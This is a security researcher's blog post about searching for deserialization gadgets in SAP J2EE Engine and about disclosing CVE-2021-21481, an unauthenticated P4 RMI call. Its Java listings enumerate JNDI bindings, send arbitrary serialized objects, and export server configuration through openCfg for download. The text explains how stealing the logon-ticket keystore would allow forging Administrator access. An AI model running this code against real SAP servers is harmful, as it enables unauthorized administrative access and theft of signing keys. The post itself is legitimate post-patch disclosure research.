About the Unsuccessful Quest for a Deserialization Gadget (or: How I found CVE-2021-21481)
This was originally posted on blogger here.
This blog post describes the research on SAP J2EE Engine 7.50 I did between October 2020 and January 2021. The first part describes how I set off to find a pure SAP deserialization gadget, which would allow to leverage SAP’s P4 protocol for exploitation, and how that led me, by sheer coincidence, to an entirely unrelated, yet critical vulnerability, which is outlined in part two.
The reader is assumed to be familiar with Java Deserialization and should have a basic understanding of Remote Method Invocation (RMI) in Java.
Prologue
It was in 2016 when I first started to look into the topic of Java Exploitation, or, more precisely: into exploitation of unsafe deserialization of Java objects. Because of my professional history, it made sense to have a look at an SAP product that was written in Java. Naturally, the P4 protocol of SAP NetWeaver Java caught my attention since it is an RMI-like protocol for remote administration, similar to Oracle WebLogic’s T3. In May 2017, I published a blog post about an exploit that was getting RCE by using the Jdk7u21 gadget. At that point, SAP had already provided a fix long ago. Since then, the subject has not left me alone. While there were new deserialization gadgets for Oracle’s Java server product almost every month, it surprised me no one ever heard of an SAP deserialization gadget with comparable impact. Even more so, since everybody who knows SAP software knows the vast amount of code they ship with each of their products. It seemed very improbable to me that they would be absolutely immune against the most prominent bug class in the Java world of the past six years. In October 2020 I finally found the time and energy to set off for a new hunt. To my great disappointment, the search was in the end not successful. A gadget that yields RCE similar to the ones from the famous ysoserial project is still not in sight. However in January, I found a completely unprotected RMI call that in the end yielded administrative access to the J2EE Engine. Besides the fact that it can be invoked through P4 it has nothing in common with the deserialization topic. Even though a mere chance find, it is still highly critical and allows to compromise the security of the underlying J2EE server.
The bug was filed as CVE-2021-21481. On March 9th 2021, SAP provided a fix. SAP note 3224022 describes the details.
P4 and JINDI
Listing 1 shows a small program that connects to a SAP J2EE server using P4:
import java.security.KeyStore;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import com.sap.engine.services.keystore.interfaces.KeystoreManagerWrapper;
public class Sample {
public static void main(String[] args) throws Exception
{
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.sap.engine.services.jndi.InitialContextFactoryImpl");
p.put("java.naming.provider.url", "p4://10.10.100.11:50004);
p.put("java.naming.security.principal", "Administrator");
p.put("java.naming.security.credentials", "xxxxxxxx");
Context ctxt = new InitialContext (p);
KeystoreManagerWrapper keysMngr = (KeystoreManagerWrapper) ctxt.lookup ("keystore");
KeyStore keystore = keysMngr.getKeystore("whatever");
}
}
The only hint that this code has something to do with a proprietary protocol called P4 is the URL that starts with P4://. Other than that, everything is encapsulated by P4 RMI calls (for those who want to refresh their memory about JNDI). Furthermore, it is not obvious that what is going on behind the scenes has something to do with RMI. However, if you inspect more closely the types of the involved Java objects, you’ll find that keysMngr is of type com.sun.proxy.$Proxy (implementing interface KeystoreManagerWrapper) and keysMngr.getKeystore() is a plain vanilla RMI-call. The argument (the name of the keystore to be instantiated) will be serialized and sent to the server which will return a serialized keystore object (in this case it won’t because there is no keystore “whatever”). Also, not obvious is that the instantiation of the InitialContext requires various RMI calls in the background, for example the instantiation of a RemoteLoginContext object that will allow to process the login with the provided credentials.
Each of these RMI calls would in theory be a sink to send a deserialization gadget to. In the exploit I mentioned above, one of the first calls inside new InitialContext() was used to send the Jdk7u21 gadget (instead of a java.lang.String object, by the way).
Now, since the Jdk7u21 gadget is not available anymore and I was looking for a gadget consisting merely of SAP classes, I had to struggle with a very annoying limitation: The classloader segmentation. SAP J2EE knows various types of software components: interfaces, services, libraries and applications (which can consist of web applications and EJBs). When you deploy a component, you have to declare the dependencies to other components your component relies upon. Usually, web applications depend on 2-3 services and libraries which will have a couple of dependencies to other services and libraries, as well. At the bottom of this dependency chain are the core components.
Now, the limitation I was talking about is the fact that the dependency management greatly affects which classes a component can see: It can precisely see all classes of all components it relies upon (plus of course JDK classes) but not more. If your class ships as part of the keystore service above, it will only be able to resolve classes from components the keystore service declares as dependencies.
Figure 1: dependencies of the keystore service with all child and parent classloaders
This has dramatic consequences for gadget development. Suppose you found a gadget whose classes come from components X, Y and Z but there are no dependencies between these components and in addition, there is no component which depends on all of them. Then, no matter in which classloader context your gadget will be deserialized, at least one of X, Y or Z will be missing in the classpath and the deserialization will end up in a ClassNotFoundException. By using a similar approach to the one described in the GadgetProbe project I found out that at the point the Jdk7u21 gadget was deserialized in the above-mentioned exploit, there were only about 160 non-JDK classes visible that implement java.io.Serializable. Not ideal for building an exploit. Going back to listing 1, in case we send a gadget instead of the string “whatever”, we can tell from figure 1 that classes from ten components (the ones listed beneath “Direct parent loaders”) will be in the class path. Code that sends an arbitrary serializable object instead of the string “whatever” could e.g. look like this (instead of keysMgr.getKeystore()):
Properties p = new Properties();
[...]
Context ctxt = new InitialContext(p);
RemoteRef ref = (RemoteRef) ctxt.lookup ("keystore");
StubBaseInfo info = (StubBaseInfo) ref.getObjectInfo();
Field f = InitialContext.class.getDeclaredField ("defaultInitCtx");
f.setAccessible (true);
ClientContext clientCtxt = (ClientContext) f.get(ctxt);
StubImpl stub = (StubImpl) clientCtxt.getRemoteContext ();
stub.p4_setInfo (info);
Call call = stub.p4_newCall ("getKeystore(java.lang.String)");
P4ObjectOutput out = call.getOutputStream ();
out.writeObject ("whatever");
stub.p4_invoke (call);
Serializable robj = (Serializable) call.getResultStream().readObject();
If there was a gadget, one could send it with out.writeObject().
With this approach, the critical mass of accessible serializable classes can be significantly increased. The telnet interface of SAP J2EE provides useful information about the services and their dependencies.
Regardless of the classloader challenge, I was eager to get an overview of how many serializable classes existed in the server. The number of classes in the core layer, services and libraries amounts to roughly 100,000, and this does not even count application code. I quickly realized that I needed something smarter than the analysis features of Eclipse to handle such volumes. So I developed my own tool which analyses Java bytecode using the OW2 ASM Framwork. It writes object and interface inheritance dependencies, methods, method calls and attributes to a SQLite DB. It turned out that out of the 100,000 classes, about 16,000 implemented java.io.Serializable. The RDBMS approach was pretty handy since it allowed build complex queries like
Give classes which are Serializable and Cloneable which implement private void readObject(java.io.ObjectInputStream) and whose toString() method exists and has more than five calls to distinct other methods
This question translates to
select clzname from CLASSES where ROWID in (
select clazz from EXTENDS where superclazz in (
select ROWID from CLASSES where clzname='java/io/Serializable'
or clzname='java/lang/Cloneable'
)
) and ROWID in (
select decl_class from METHODS where name='readObject'
and signature='(Ljava/io/ObjectInputStream;)V'
) and ROWID in (
select caller from METHODINSN where callermethod in (
select ROWID from METHODS where name='toString' and signature='()Ljava/lang/String;'
) group by callermethod having count(distinct calleemethod) > 5
);
The work on this tool and also the process of constantly inventing new and original queries to find potentially interesting classes was great fun. Unfortunately, it was also in vain. There is a library, which almost allowed to build a wonderful chain from a toString() call to the ubiquitous TemplatesImpl.getOutputProperties(), but the API provided by the library is so very complex and undocumented that, after two months, I gave up in total frustration. There were some more small findings which don’t really deserve to be mentioned. However, I’d like to elaborate on one more thing before I’ll start part two of the blog post, that covers the real vulnerability.
One of the first interesting classes I discovered performs a JNDI lookup with an attacker controlled URL in private void readObject(java.io.ObjectInputStream). What would have been a direct hit four years ago could at least have been a respectable success in 2020. Remember: Oracle JRE finally switched off remote classloading when resolving LDAP references in 2019 in version JRE 1.8.0_191. Had this been exploitable, it would have opened up an attack avenue at least for systems with outdated JRE. My SAP J2EE was running on top of a JRE version 1.8.0_51 from 2015, so the JNDI injection should have worked, but, to my great surprise, it didn’t. The reason can be found in the method getObjectInstance of javax.naming.spi.DirectoryManager:
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {
ObjectFactory factory;
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
// use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
=======> factory = getObjectFactoryFromReference(ref, f);
[...]
} else {
[...]
}
}
The highlighted call to getObjectFactoryFromReference is where an attacker needs to get to. The method resolves the JNDI reference using an URLClassLoader and an attacker-supplied codebase. However, as one can easily see, if getObjectFactoryBuilder() returns a non-null object the code returns in either of the two branches of the following if-clause and the call to getObjectFactoryFromReference below is never reached. And that is exactly what happens. SAP J2EE registers an ObjectFactoryBuilder of type com.sap.engine.system.naming.provider.ObjectFactoryBuilderImpl. This class will try to find a factory class based on the factoryName-attribute and completely ignore the codebase-attribute of the JNDI reference. Bottom line is that JNDI injection might never have worked in SAP J2EE, which would eliminate one of the most important attack primitives in the context of Java Deserialization attacks.
CVE-2021-21481
After digressing about how I searched for deserialization gadgets, I’d like to cover the real vulnerability now, which has absolutely nothing to do with Java Deserialization. It is a plain vanilla instance of CWE-749: Exposed Dangerous Method or Function. Let’s go back to Listing 1. We can see that the JNDI context allows to query interfaces by name, in our example we were querying the KeyStoreManager interface by the name “keystore”. On several occasions, I had already tried to find an available rich client for SAP J2EE Engine administration that uses P4. Every time I was unsuccessful, I believed such a client did not officially exist, or at least was not at everyone’s disposal.
However, whenever you install a SAP J2EE Engine, the P4 port is enabled by default and listening on the same network interface as the HTTP(s) services. Because I was totally focussing on Deserialization, for a long time I was oblivious how much information one can glean through the JNDI context. E.g. it is trivial to get all bindings:
Context ctxt = new InitialContext(p);
Enumeration<NameClassPair> e = ctxt.list("/");
while (e.hasMoreElements()) {
NameClassPair ncp = e.nextElement();
String name = ncp.getName();
Object obj = null;
try {
obj = ctxt.lookup (name);
}
catch (Exception exc) {
try {
obj = ctxt.lookup ("/" + name);
}
catch (Exception e2) {
System.out.println (name + " ==> " + e2.getMessage());
}
}
System.out.print(name + " (" + className + ") ==> ");
if (obj == null) {
System.out.println ("null");
continue;
}
String clzName = obj.getClass().getName();
if (clzName.startsWith("com.sun.proxy.$Proxy")) {
Class clz = obj.getClass();
Class ifs[] = clz.getInterfaces();
System.out.println (" Proxy implementing");
for (Class _if : ifs) {
System.out.println (" " + _if.getName());
}
}
else {
System.out.println (obj.getClass().getName());
}
}
The list() call allows to simply iterate through all bindings:
Interesting items are proxy objects and the _Stub objects. E.g. the proxy for messaging.system.MonitorBean can be cast to com.sap.engine.messaging.app.MonitorHI.
During debugging of the server, I had already encountered the class JUpgradeIF_Stub, long before I executed the call from Listing 5. The class has a method openCfg(String path) and it was not difficult to establish that the server version of the call didn’t perform any authorization check. This one definitively looked fishy to me, but since I wasn’t looking for unprotected RMI calls I put the finding into the box with the label “check on a rainy sunday afternoon when the kids are busy with someone else”. But then, eventually, I did check it. It didn’t take long to realize that I had found a huge problem. Compare Listing 6.
import com.sap.engine.frame.core.configuration.Configuration; import
com.sap.engine.services.appmigration.api.upgrade.JUpgradeIF;
[...]
String configPath = ...;
String localPathOnServer = ...;
String [] pathElements = tokenizeConfigPathSomehow (configPath);
JUpgradeIF upgradeIF = (JUpgradeIF) ctxt.lookup ("MigrationService");
Configuration config = upgradeIF.openCfg (pathElements [0]);
for (int i=1; i<pathElements.length; i++) {
config = config.getSubConfiguration (pathElements [i]);
}
config.export (localPathOnServer + "/download.zip");
The configuration settings of SAP J2EE Engine are organized in a hierarchical structure. The location of an object can be specified by a path, pretty much like a path of a file in the file system. The above code gets a reference to the JUpgradeIF_Stub by querying the JNDI context with name “MigrationService”, gets an instance of a Configuration object by a call to openCfg() and then walks down the path to the leaf node. The element found there can be exported to an archive that is stored in the file system of the server (call to export(String path)). If carefully chosen, the local path on the server will point to a root folder of a web application. There, download.zip can simply be downloaded through HTTP. If you want to check for yourself, the UME configuration is stored at cluster_config/system/custom_global/cfg/services/com.sap.security.core.ume.service/properties.
You’d probably say “hey! I need to be Administrator to do that! Where’s the harm?”. Right, I thought so, too. But neither do you need to be Administrator, nor do you even have to be authenticated. The following code works perfectly fine:
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.sap.engine.services.jndi.InitialContextFactoryImpl");
p.put("java.naming.provider.url", "p4://10.10.100.11:50004);
Context ctxt = new InitialContext (p);
KeystoreManagerWrapper keysMngr = (KeystoreManagerWrapper) ctxt.lookup ("keystore");
So does the enumeration using ctxt.list() from Listing 5. The fact that authentication is not needed at this point is not new at all by the way, compare CVE-2017-5372.
However, you will get a permission exception when calling keysMngr.getKeystore() (because getKeystore() does have a permission check). But JUpgradeIF.openCfg() was missing the check until SAP fixed it.
At this point, even without SAP specific knowledge an attacker can cause significant harm. E.g. flood the server’s file system with archives causing a resource exhaustion DoS condition.
With a little insider knowledge one can get admin access. In the configuration tree, there is a keystore called TicketKeystore. Its cryptographic key pair is used to sign SAP Logon Tickets. If you steal the keystore, you can issue a ticket for the Administrator user and log on with full admin rights. There are also various other keystores, e.g. for XML signatures and the like (let alone the fact that there is tons of stuff in this store. No one probably knows all the security sensitive things you can get access to …)
This information should be sufficient to the understanding of CVE-2021-21481. The exact location of the keystores in the configuration and the relative local path in order to download the archive by HTTP are left as an exercise to the reader.